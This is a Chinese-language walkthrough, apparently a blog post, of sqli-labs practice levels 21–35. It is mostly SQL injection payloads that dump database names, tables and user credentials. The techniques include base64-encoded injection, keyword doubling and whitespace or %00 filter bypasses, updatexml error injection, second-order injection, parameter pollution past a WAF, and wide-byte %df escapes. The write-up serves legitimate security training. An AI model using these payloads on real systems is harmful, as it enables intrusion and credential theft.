sql-labs(21-35)

Less-21

使用admin和admin进行尝试

YWRtaW4进行base64解码就是admin(base64解码 base64编码 在线base64解码/编码工具 iP138在线工具

通过源码可以看到,将上题的 ' 变更位 ') 并且进行base64转码即可

爆破数据库

爆破数据表

') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=

爆破users表的列

') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyAj

爆破用户名和密码

') union select 1,2,group_concat(username,':',password) from users #
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSBmcm9tIHVzZXJzICM=

Less-22

与上题类似," 绕过

其余操作与上题相同,以下不在赘叙。

Less-23

又变成了GET型注入

重要源码

preg_replace()函数

这里相当于将$id中的$reg类型的字符转变位$replace字符,也就是将$id中的#和--置空过滤

思路:URL终止符%00

爆破数据库

?id=-1' union select 1,2,database(); %00

数据表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'; %00

爆破users表的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'; %00

爆破用户名和密码

?id=-1' union select 1,2,group_concat(username,':',password) from users; %00

Less-24

本题知识点:二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

普通用户登录admin-admin

首先创建一个恶意账户

用户名:admin' #

密码:123456

然后登录

登录成功

然后修改密码为654321

然后我们就可以使用admin-654321登录了

Less-25

题目提示or和and以及被替换,并且在源码也可以看到

判断显示位

爆破数据库

爆破数据表,注意information

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

爆破users表的列

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users' --+

爆破用户名和密码,注意password

?id=-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+

Less-25a

与Less-25类似,只是没有单引号

不再赘叙。

Less-26

or可以用 || 或者 oorr 或者 替换掉

and 也以用 && aandnd 或者%26%26替换掉

‘#’ 也以用 or ‘1’='1 替换掉

在这里有一个陌生的符号:\s: 是匹配所有空白符,包括换行,\S 非空白符,不包括换行。也就是说在这里我们无法使用空格 ,\s会将其消掉。

%0a可以代替空格,或者使用()将其包起来

参考:URL特殊字符编码对照表_Danalee_Ay的博客-CSDN博客

使用%0a爆破数据库

?id=-1'%0aunion%0aselect%0a1,2,database()oorr%0a‘1’='1

发现报错,%0a也被过滤了

再使用报错注入

?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

爆破数据表,注意information

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

爆破users表的列

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())aandnd(table_name)='users'),0x7e),1)||'1'='1

爆破用户名和密码

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1

Less-26a

相比于上一题,闭合方式为 ')

爆破数据库

?id=-1')||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

发现报错注入失败

再试试%A0或者%a0或者%0a或者%0b

不再演示

Less-27

过滤了select和union

爆破数据库

?id=-1'||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1

爆破数据表

?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

爆破users表的列

?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name)='users'),0x7e),1)||'1'='1

爆破用户名和密码

?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1

Less-27a

与上题类似,改为"闭合

爆破数据库

?id=-1"||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1

同样,没有报错回显

同样,再试试%A0或者%a0或者%0a或者%0b

不再演示

Less-28

尝试使用报错注入发现报错回显被屏蔽

判断字段数,使用%0a代替空格,%00截断

?id=1')%0Aorder%0Aby%0A3%0A;%00

判断显示位

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,3;%00

爆破数据库

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00

爆破数据表

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

爆破users表的列

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name='users';%00

爆破用户名和密码

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00

Less-28a

重要源码:

与Less-28相同

不在赘叙

Less-29

进行简单测试

发现可以直接注入

进入login.php

可以发现页面发生了跳转

这里部署了WAF

说明我们的参数被WAF阻挡,此时我们加入第二个参数,参考:经过HTTP参数污染绕过WAF拦截 (转) - JavaShuo

Sqli-labs-Less-29 (笔记)_小鸣同学的博客-CSDN博客

?id=1&id=2

判断字段数

爆破数据库

?id=1&id=-1' union select 1,2,database() --+

爆破数据表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

爆破用户名和密码

?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+

Less-30

与上一关类似,单引号变为双引号即可

Less-31

与前面类似,双引号加括号绕过

Less-32

首先测试?id=1',发现进行了转义

查看源码

将单引号和双引号都进行了转义

当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸。

参考:Sqli-labs Less-32 宽字节注入 嵌套查询 - zhengna - 博客园

sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新)_m0_62879498的博客-CSDN博客

爆破数据库

?id=-1%df' union select 1,2,database() --+

爆破数据表

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+

爆破users表的列

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)  --+

爆破用户名和密码

?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+

Less-33

重要源码:

addslashes()函数:addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')

  • 双引号(")

  • 反斜杠(\)

  • NULL

实际上和上一题相同

其余步骤与上一题相同

Less-34

post方式传参

实际上和前面两题一样,传参方式不同

发现,在url栏中输入 %df 主要是以 16进制形式输入,而在输入框输入 %df 则是以普通字符串输入的。

绕过方法:有些汉字的编码为三个字节的编码,我们将三个字节拆开来看,前两个为一组,后面的那个和 \ 相编码为两字节绕过,从而使得单引号逃逸。

判断字段数

汉' order by 3 #

判断显示位

汉' union select 1,2 #

爆破数据库

汉' union select 1,database() #

爆破数据表

汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #

爆破users表的列

汉' union select 1,group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)  #

爆破用户名和密码

汉' union select 1,(select group_concat(username,0x3a,password) from users) #

Less-35

id没有被单引号括起来所以addslashes起不到作用

直接payload即可

判断字段数

?id=1 order by 3 --+

判断显示位

?id=-1 union select 1,2,3 --+

爆破数据库

?id=-1 union select 1,2,database() --+

爆破数据表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆破users表的列

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)  --+

爆破用户名和密码

?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users) #

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值